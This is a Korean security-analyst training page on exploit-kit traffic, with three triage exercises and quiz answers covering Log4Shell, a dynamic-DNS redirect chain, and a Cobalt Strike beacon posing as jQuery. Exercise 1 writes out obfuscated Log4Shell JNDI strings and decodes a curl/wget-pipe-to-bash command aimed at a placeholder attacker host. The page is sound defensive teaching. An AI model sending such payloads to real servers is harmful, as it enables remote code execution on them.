콘텐츠로 이동

익스플로잇 킷 판별과 악성·수상·정상 판정 연습

이 페이지에서 다루는 것

익스플로잇 킷이 어떻게 사용자를 감염시키는지(해킹된 사이트·악성 광고 → 리디렉션 → 브라우저 조사 → 맞춤 공격과 페이로드), 익스플로잇 킷 트래픽을 알아보는 단서와 경보가 왔을 때 성공 여부를 확인하는 법, 그리고 세 가지 실전 판정 연습: 우리 웹 서버로 들어온 Log4Shell 공격, 동적 DNS를 거쳐 악성 ZIP으로 가는 리디렉션 사슬, jQuery를 흉내 낸 C2 비콘. 마지막에 확인 문제와 해설이 있습니다.

표기

[보충] = 꼭 알아야 할 실무 보충, [변경됨]/[주의] = 최근 바뀐 점과 옛 방식대로 하면 위험한 점. 익스플로잇 킷 요청 한 줄 해부와 도메인 섀도잉은 요청 판정 연습에 있습니다. 예시의 도메인·IP는 모두 만들어 낸 것입니다.

한눈에 보는 핵심 8가지

  1. 익스플로잇 킷 = 자동 공격 선택기 + 페이로드 배달 장치. 사용자는 평소 가던 사이트를 열었을 뿐인데 감염된다.
  2. 입구는 해킹된 정상 사이트나 악성 광고(Malvertising)에 심은 리디렉션이다.
  3. 가장 좋은 방어는 OS·브라우저·플러그인 패치다. 킷이 가진 공격은 한정돼 있어, 제로데이가 아니면 패치된 PC엔 대부분 통하지 않는다.
  4. 트래픽 단서: 새로 만든 도메인 여러 개, 여러 IP, 무작위 서브도메인·긴 URL·파라미터, 심하게 난독화된 스크립트, 그리고 성공하면 마지막에 파일 다운로드.
  5. 경보가 오면 "킷에 닿았나"가 아니라 "끝에 실행 파일·스크립트가 내려왔나, 실행됐나"로 성공 여부를 판단한다.
  6. 들어오는 공격(Log4Shell 등)은 URL뿐 아니라 User-Agent·Referer 같은 모든 헤더에 실린다. 성공 여부는 서버가 바깥으로 연결했는지로 본다.
  7. 동적 DNS(무료 서브도메인) 호스트를 여러 번 거치는 리디렉션 사슬은 강한 악성 신호다.
  8. 잘 설정된 C2(예: Cobalt Strike)는 정상 파일(jQuery 등) 요청처럼 보인다. 누가 그걸 주는가(Host), 얼마나 자주, 암호화 여부를 본다.

익스플로잇 킷은 어떻게 감염시키나

왜 무서운가. 사용자 입장에서는 아무것도 잘못하지 않았습니다. 여러 번 가 봤던 평범한 웹 페이지를 열었을 뿐인데, 그 페이지에 익스플로잇 킷이 심겨 있었다면 그 순간 PC가 감염될 수 있습니다. 클릭도, 속임수도 필요 없고, 패치 안 된 브라우저로 하필 그때 그곳에 있었다는 것만으로 충분합니다. 이 모든 과정이 사용자 눈에 보이지 않습니다.

Good (compromised) site / malicious ad
        │  hidden redirect (iframe, injected script)
        ▼
Exploit kit server (normal-looking web server)
        │  1. profile browser: User-Agent, plugins, versions
        │  2. pick a matching exploit from its collection
        │  3. deliver exploit + payload (can change per victim)
        ▼
Victim PC compromised (payload runs)
  • 입구: 공격자가 정상 사이트를 직접 해킹해 페이지에 코드를 넣거나, 광고 네트워크에 악성 광고를 넣어 여러 사이트에 한꺼번에 리디렉션을 뿌림
  • 조사(Profiling): 킷 서버는 평범한 웹 서버처럼 동작하며, User-Agent와 스크립트로 브라우저와 설치된 플러그인 버전을 알아냄
  • 고르기: 가진 공격 목록과 비교해 이 피해자에게 통할 공격을 골라 맞춤 꾸러미를 만듦
  • 배달: 공격 코드와 함께 페이로드(랜섬웨어, 금융 트로이 목마, 채굴기 등 — 피해자마다 바꿀 수도 있음)를 보냄

킷 제작자는 여러 공격 코드를 계속 모으고 갱신해야 하고, 그 수는 한정돼 있습니다. 그래서 OS, 브라우저, 플러그인을 모두 최신으로 유지하는 것이 가장 좋은 방어입니다. 제로데이(아직 패치가 없는 취약점)를 쓰는 드문 경우가 아니라면, 패치된 PC에는 킷 대부분이 통하지 않습니다. 웹 페이지의 제3자 스크립트 실행을 막는 확장 프로그램도 도움이 됩니다.

익스플로잇 킷 트래픽 알아보기

킷마다 조사·리디렉션 방식은 조금씩 다르지만 공통된 경향이 있습니다.

단서 모양
여러 도메인·IP를 거침 한 번 클릭에 짧은 시간 동안 낯선 호스트 여러 곳
새로 만든 도메인 등록된 지 며칠 안 된 도메인, 부모나 서브도메인이 무작위 글자
긴 URL·인코딩된 파라미터 ? 뒤에 의미 없는 긴 값
난독화된 페이지 읽을 수 없게 꼬아 놓은 자바스크립트, 의미 없는 글자
성공하면 파일 다운로드 사슬 끝에 무작위 이름의 실행 파일·스크립트

전형적인 사슬을 프록시 로그로 보면 이렇습니다(예시).

14:02:11  GET  http://recipes-weekly.example/2026/11/soup.html            200  text/html      Referer: google.com
14:02:12  GET  http://k3x9q2.example-cdn-gate.example/?q=rT8xZ2&s=9Lw      302  -              Referer: recipes-weekly.example
14:02:12  GET  http://198.51.100.61/?Ym9vbT14OTI3NA&3a2f=Qk2xVhPz...       200  text/html      (obfuscated JS)
14:02:14  GET  http://198.51.100.61/?Zz7N1aR&49b1=pK0aYx...                200  application/x-shockwave-flash
14:02:16  GET  http://198.51.100.61/?Tq9Wm2&e81c=Hd3sLr...                 200  application/octet-stream  (412 KB)
  • 1줄 — 사용자가 검색으로 요리 블로그를 엶(블로그가 해킹당해 있음)
  • 2줄 — 블로그 안에 숨은 리디렉션이 무작위 서브도메인의 "게이트"로 보냄 → 302로 다음 단계로
  • 3줄 — 도메인 없이 IP로 간 랜딩 페이지, 긴 무작위 파라미터, 난독화된 자바스크립트(브라우저 조사)
  • 4줄 — 맞춤 공격 코드(예전엔 Flash 같은 플러그인 공격이 흔했음)
  • 5줄 — 마지막에 412KB 바이너리 — 페이로드가 내려옴. 공격이 성공했을 가능성

[보충] 경보가 왔을 때 확인 순서. IDS(Snort, Suricata 등)는 킷의 URL 패턴을 꽤 잘 따라잡아 "익스플로잇 킷 랜딩 페이지 의심" 같은 경보를 줍니다. 그러면 이렇게 확인합니다.

  1. 진짜 킷 접근인가? 위 같은 사슬 모양이 있는지 트래픽을 훑어봄. 아니면 오탐으로 정리
  2. 배달됐나? 사슬 끝에 실행 파일·스크립트·압축 파일이 200으로 내려왔는지(Content-Type, Zeek resp_mime_types, 크기)
  3. 실행됐나? 그 직후 PC에서 새 프로세스(Sysmon 1 / 4688), 새 파일(Sysmon 11), 새 외부 연결(Sysmon 3)이 생겼는지
  4. 출발점은? 첫 Referer를 거꾸로 따라가 해킹된 사이트를 찾고, 같은 사이트를 방문한 다른 PC 확인

URL 샌드박스가 그 사이트를 직접 방문해 킷을 밟고 리디렉션 경로를 그래프로 보여 주기도 합니다.

판정 연습 1: 우리 웹 서버로 들어온 요청

상황: 회사가 인터넷에 공개한 웹 서버로 들어온 요청입니다. 먼저 스스로 판정해 본 뒤 해설을 펼쳐 보세요.

GET /?x=${jndi:ldap://203.0.113.9:1389/Basic/Command/Base64/KGN1cmwgLXMgMjAzLjAuMTEzLjk6NTg3NC8xOTguNTEuMTAwLjIwOjgwfHx3Z2V0IC1xIC1PLSAyMDMuMC4xMTMuOTo1ODc0LzE5OC41MS4xMDAuMjA6ODApfGJhc2g=} HTTP/1.1
Host: 198.51.100.20
User-Agent: ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://203.0.113.9:1389/Basic/Command/Base64/KGN1cmwg...}
Referer: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://203.0.113.9:1389/Basic/Command/Base64/KGN1cmwg...}
Accept: */*
판정과 해설: 악성(공격 시도)

아주 명백한 악성 요청입니다. URL, User-Agent, Referer 세 칸 모두에 복잡한 값이 들어 있고, 자세히 보면 전부 (일부는 꼬아서) jndi, ldap과 그 안에 박힌 주소를 가리킵니다.

  • URL: ${jndi:ldap://203.0.113.9:1389/...} — 가장 알아보기 쉬움
  • User-Agent: ${lower:j}는 Log4j가 "소문자 j"로 바꿔 주는 문법. 이어 붙이면 jndi:ldap. 단순 글자 검사(jndi 찾기)를 피하려는 난독화
  • Referer: ${::-j}도 "기본값 j"로 풀리는 문법. 역시 jndi:ldap

이것은 2021년 12월 공개된 Apache Log4j 취약점(Log4Shell, CVE-2021-44228) 공격입니다. 서버의 자바 프로그램이 Log4j로 이 값을 로그에 적는 순간, Log4j가 ${jndi:ldap://...}를 "실행할 지시"로 해석해 서버가 직접 바깥의 203.0.113.9:1389로 접속하고, 거기서 받은 코드를 실행합니다. 그래서 공격자는 서버가 로그에 남길 만한 모든 칸(URL, User-Agent, Referer, 그 밖의 헤더)에 이 문자열을 뿌립니다.

Base64 부분 풀기. 각 칸 끝의 Base64/ 뒤를 풀면:

(curl -s 203.0.113.9:5874/198.51.100.20:80||wget -q -O- 203.0.113.9:5874/198.51.100.20:80)|bash
  • curl -s 203.0.113.9:5874/... — 공격자 서버의 5874번 포트에서 내용을 조용히(-s) 받음
  • || — 앞 명령이 실패하면(curl이 없으면) 뒤 명령 실행
  • wget -q -O- ... — wget으로 조용히(-q) 받아 화면(-O-)으로 출력
  • | bash — 받은 내용을 리눅스 셸 명령으로 바로 실행
  • 경로 속 198.51.100.20:80 — 이번 피해 서버 자신의 IP와 포트. 공격자가 "어느 서버가 걸렸는지" 봇넷 장부에 기록하려고 넣은 것

성공했는지 확인하는 법. 요청이 들어왔다는 것만으로는 성공이 아닙니다. 핵심은 우리 서버가 바깥으로 연결했는가입니다.

  1. 방화벽·Zeek conn.log에서 그 웹 서버가 203.0.113.9:1389(LDAP)나 :5874로 나가는 연결을 했는지
  2. 서버 프로세스(자바)가 curl, wget, bash, sh를 자식으로 띄웠는지(리눅스 감사 로그, EDR)
  3. 서버의 Log4j 버전 확인과 패치

연결 흔적이 없고 패치돼 있다면 "실패한 공격 시도"로 정리하고, 그 IP를 차단하고 WAF 규칙을 확인합니다.

판정 연습 2: 사용자 PC에서 나간 요청

상황: 직원 PC에서 나간 요청입니다. 직원은 직전에 "세금 고지서 확인" 메일 속 링크를 눌렀습니다.

GET /%35%41%5F%32%38%5F%35%42%5F%35%41%5F%31%32%38/ HTTP/1.1
Host: download2.dyn-hosting.example
Referer: http://fiscal-docs.ddns-free.example/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Chrome/144.0.0.0 Safari/537.36

HTTP/1.1 302 Found
Location: http://fiscal-notice.homeip-free.example/Nota.zip
판정과 해설: 악성(악성 파일 다운로드의 중간 단계)

악성입니다. 다만 연습 1처럼 공격 코드가 대놓고 보이지는 않습니다. 이 요청은 악성 파일을 내려받는 과정의 중간 단계입니다. 전체 이야기는 이렇습니다.

  1. 금융·세금을 주제로 한 피싱 메일 속 링크 → fiscal-docs.ddns-free.example
  2. 그 사이트가 브라우저를 이 요청으로 보냄(Referer에 아직 첫 사이트가 남아 있음) → download2.dyn-hosting.example
  3. 응답 302가 다시 fiscal-notice.homeip-free.example/Nota.zip으로 보냄 → 최종 악성 파일 다운로드

단서:

  • 동적 DNS(무료 서브도메인) 호스트를 세 번 연속 거침. 동적 DNS는 누구나 공짜로 "이름 → IP"를 바로 만들 수 있어 공격자가 아주 좋아함. 회사 업무에서 이런 호스트로 갈 일은 드묾
  • 경로가 URL 인코딩된 이상한 값 — 풀면 5A_28_5B_5A_128 같은, 16진수처럼 보이다가 깨지는 의미 없는 글자
  • 피싱 메일 → 리디렉션 여러 번 → ZIP이라는 흐름 자체
  • 사슬 끝의 파일 이름 Nota.zip(포르투갈어·스페인어로 "고지서·영수증") — 금융 피싱의 흔한 미끼

엄밀히 말하면 이 화면만으로 100% 확정할 수는 없습니다. 하지만 이 맥락과 신호면 ZIP 파일을 꺼내 확인할 이유로 충분하고, 확인하면 악성코드가 나오는 전형적인 사례입니다.

[보충] 동적 DNS에 경보 걸기. 동적 DNS 서비스(No-IP, DuckDNS, Dynu 등)는 정상 가정용으로도 쓰이지만 기업 환경에서는 드물어서, 이 도메인 목록으로 경보나 차단 규칙을 만들면 효과가 좋습니다. 서비스마다 수십~수백 개의 부모 도메인을 쓰므로 목록을 갱신해 둡니다.

판정 연습 3: 사용자 PC의 반복 요청

상황: 직원 PC에서 아래 요청이 약 60초마다 하루 종일 반복됩니다.

GET /jquery-3.3.1.min.js HTTP/1.1
Host: cdn-libs-update.example
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://code.jquery.com/
Cookie: __cfduid=Rk2xVhPzT8m1qW9cL0aYxN3sKe7bJ4dG6uF5tH2iZ...(about 170 chars)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
Content-Length: 5543
판정과 해설: 악성(C2 비콘) — 셋 중 가장 알아보기 어려움

악성입니다. 하지만 이 화면만으로는 확정할 수 없고, "아무리 좋게 봐도 이상하다" 정도까지 말할 수 있습니다. 이건 Cobalt Strike의 BEACON이라는 C2 악성코드가 감염 PC에서 보내는 통신 모양입니다. BEACON은 HTTP 메서드, 프로토콜, 헤더, 호스트를 마음대로 설정하고 여러 개를 번갈아 쓸 수 있어 방어자가 알아보기 매우 어렵습니다. 여기서는 웹 페이지가 흔히 쓰는 jQuery 파일을 받는 척하고, 쿠키 칸으로 통신하도록 설정했습니다.

단서:

  • jQuery를 이렇게 자주 받을 이유가 없음. 브라우저는 한 번 받은 jQuery를 캐시해 둠. 60초마다 같은 파일을 새로 받는 건 프로그램
  • https가 아닌 http — 지금 정상 CDN은 거의 다 https
  • 엉뚱한 출처 — 진짜 jQuery는 code.jquery.com이나 큰 CDN에서 오는데, Host는 낯선 cdn-libs-update.example. Referer에 code.jquery.com을 적어 진짜처럼 꾸몄지만, 요청이 실제로 간 곳은 Host
  • 쿠키 __cfduid — 예전 Cloudflare 쿠키 이름을 흉내 냈지만(Cloudflare는 2021년에 이 쿠키를 없앰), 값이 길고 요청마다 바뀜 → 감염 PC가 보내는 데이터
  • 응답 크기 5,543바이트 — 진짜 jQuery 3.3.1 압축본은 약 85KB. 크기가 너무 작고, 비콘이라면 명령이 있을 때 크기가 바뀜

쿠키 안의 내용은 풀 수 없습니다. Cobalt Strike는 통신을 암호화하고 우리는 그 키가 없기 때문입니다. 그래서 내용이 아니라 패턴(주기, 출처, 크기)으로 판단합니다.

이 예시는 잘 설정된 C2 트래픽이 얼마나 교묘할 수 있는지 보여 줍니다. 그리고 이건 HTTPS도 아니어서 그나마 볼 수 있었던 경우입니다. 방어자는 주요 공격 도구(Cobalt Strike 등)가 무엇을 할 수 있는지 알아 둬야 합니다.

다음 행동: 연결 프로세스 확인(Sysmon Event ID 3 — 브라우저가 아닌 프로세스가 연 경우가 많음, 예: rundll32.exe나 주입된 정상 프로세스), 메모리 분석으로 BEACON 설정 추출(공개 도구로 C2 주소·설정을 꺼낼 수 있음), 도메인 차단, 같은 호스트로 연결하는 다른 PC 찾기.

[2026 현재] 그대로 유효한 것

"패치가 최고의 방어", "리디렉션 사슬 끝의 파일과 실행 여부로 성공을 판단", "들어오는 공격은 모든 헤더에 실린다", "동적 DNS는 좋은 탐지 포인트", "잘 꾸민 C2는 패턴으로 잡는다"는 그대로입니다.

[변경됨] 바뀐 것

  • 익스플로잇 킷은 크게 줄었습니다. 브라우저 보안 강화, Flash 종료(2020), 인터넷 익스플로러 은퇴(2022), 킷 제작자 체포가 겹쳐 2020년대 들어 활동하는 킷은 극소수입니다. 페이로드도 시대에 따라 바뀌어, 한때는 금융 트로이 목마에서 암호화폐 채굴기로 옮겨 가기도 했습니다. 지금 같은 "방문만 해도 감염" 역할은 악성 광고 + 가짜 설치 파일, 가짜 업데이트(SocGholish 계열), ClickFix가 이어받았습니다(요청 판정 연습의 2026년 관점).
  • Log4Shell은 끝나지 않았습니다. 2021년 공개 후 몇 년이 지나도 패치 안 된 서버를 노린 스캔과 공격이 계속되고, 미국 CISA의 "실제 악용 취약점(KEV)" 목록에도 올라 있습니다. 공개 서버 로그에 ${jndi:가 보이는 건 지금도 흔한 일입니다.
  • C2 프레임워크가 다양해졌습니다. Cobalt Strike는 여전히 많이 쓰이지만, 2024년 유럽 경찰 공조 작전(Operation Morpheus)이 불법 복제판 서버 수백 개를 내렸고, 공격자들은 Sliver, Havoc, Brute Ratel, Mythic 같은 다른 프레임워크로도 옮겨 갔습니다. 모두 "정상처럼 보이는 HTTP(S) 프로필"을 지원하므로 판정법은 같습니다: 출처, 주기, 크기, 프로세스.
  • 무료 서브도메인 서비스가 늘었습니다. 전통적인 동적 DNS 외에 클라우드 플랫폼의 무료 서브도메인(Workers, Pages 등)과 터널 서비스도 같은 용도로 악용됩니다.

[주의] 지금 그대로 하면 틀리거나 위험한 것

  • "익스플로잇 킷 경보 = 감염"으로 처리하지 않습니다. 끝에 파일이 내려왔는지, 실행됐는지까지 확인해야 합니다. 반대로 패치된 PC라고 확인 없이 종결하지도 않습니다.
  • 공격 문자열이 담긴 URL을 회사 PC에서 열거나 회사 서버로 다시 보내지 않습니다. 분석은 격리 환경에서, 디팽해서 기록합니다.
  • jndi 같은 글자만 찾는 탐지는 쉽게 우회됩니다(${lower:j}ndi 등). 정규화(디코딩) 후 검사하는 WAF·IDS 규칙과, 서버의 바깥 연결이라는 결과 쪽 탐지를 함께 씁니다.

확인 문제

문제 1

IDS에서 "직원 PC가 익스플로잇 킷 랜딩 페이지에 접속한 것으로 의심됨" 경보가 왔습니다. 이 PC가 실제로 감염됐는지 판단하려면 무엇을 순서대로 확인해야 합니까?

정답과 해설
  1. 진짜 킷 접근인가 — 프록시·Zeek 로그로 경보 전후 트래픽을 보고, 여러 낯선 호스트·IP를 거치는 사슬, 긴 무작위 URL, 난독화된 스크립트가 있는지 확인. 없으면 오탐 가능성
  2. 배달됐나 — 사슬 끝에 실행 파일·스크립트·압축 파일이 200으로 내려왔는지(Content-Type, resp_mime_types, 크기). 내려온 게 없으면 공격이 실패했을 가능성
  3. 실행됐나 — 그 직후 PC에서 새 프로세스(Sysmon 1 / 4688), 새 파일(Sysmon 11), 새 외부 연결(Sysmon 3), 특히 브라우저가 낯선 프로세스를 띄웠는지
  4. 출발점 — 첫 Referer를 따라가 해킹된 사이트나 악성 광고를 찾고, 같은 곳을 방문한 다른 PC 확인
  5. 그 PC의 브라우저·OS 패치 상태 확인

"킷에 닿았다"와 "감염됐다"는 다릅니다. 배달과 실행 흔적이 판단 기준입니다.

문제 2

공개 웹 서버 로그에서 User-Agent 칸에 ${${lower:j}ndi:ldap://203.0.113.9:1389/a}가 든 요청을 찾았고, 응답 코드는 200이었습니다. 동료가 "200이니까 공격이 성공했다"고 합니다. 맞습니까? 성공 여부는 무엇으로 판단해야 합니까?

정답과 해설

맞지 않습니다. 200은 웹 서버가 그 페이지 요청에 정상적으로 답했다는 뜻일 뿐입니다. Log4Shell은 페이지 응답과 상관없이, 서버가 그 값을 Log4j로 로그에 적는 순간 터지는 공격입니다. 그래서 응답 코드로는 성공을 알 수 없습니다.

판단 기준은 서버가 바깥으로 연결했는가입니다.

  1. 방화벽·Zeek conn.log에서 그 웹 서버가 203.0.113.9:1389(LDAP)로 나가는 연결이 있었는지. 공개 웹 서버는 보통 바깥으로 먼저 연결할 일이 거의 없어 눈에 잘 띔
  2. 이어서 다른 포트(페이로드 다운로드)로 나가는 연결이 있었는지
  3. 서버의 자바 프로세스가 curl·wget·sh·bash를 띄웠는지(리눅스 감사 로그, EDR)
  4. 그 서버가 실제로 취약한 Log4j 버전을 쓰는지

덧붙여, 공개 웹 서버가 바깥으로 나가는 연결을 기본 차단(이그레스 필터링)해 두면 이런 공격의 2단계를 막을 수 있습니다.

문제 3

판정 연습 3처럼 GET /jquery-3.3.1.min.js 요청이 60초마다 반복됩니다. URL만 보면 평범한 jQuery 파일인데, 왜 수상하고 무엇을 근거로 판단합니까?

정답과 해설

URL은 꾸미기 가장 쉬운 칸이라 평범해 보여도 의미가 없습니다. 판단 근거는 이렇습니다.

  1. 출처(Host) — 진짜 jQuery는 code.jquery.com이나 큰 CDN, 또는 그 사이트 자체에서 옴. 낯선 도메인이 jQuery를 준다면 이상함(Referer의 code.jquery.com은 꾸민 값)
  2. 주기 — 브라우저는 jQuery를 캐시하므로 60초마다 새로 받지 않음. 기계적 반복 = 프로그램
  3. 암호화 여부 — 2026년에 http로 받는 CDN 라이브러리는 드묾
  4. 크기 — 진짜 jQuery 3.3.1 압축본은 약 85KB인데 응답이 수 KB. 응답 크기가 가끔 달라지면 명령 전달 순간
  5. 쿠키 — 정적 파일 요청에 길고 매번 바뀌는 쿠키가 붙음(데이터 운반)
  6. 프로세스 — Sysmon Event ID 3으로 연결을 만든 프로세스 확인. 브라우저가 아니면 거의 확정

교훈: 잘 설정된 C2는 각 칸을 정상처럼 꾸밉니다. 그래서 칸 하나하나가 아니라 출처·주기·크기·프로세스의 조합으로 판단합니다.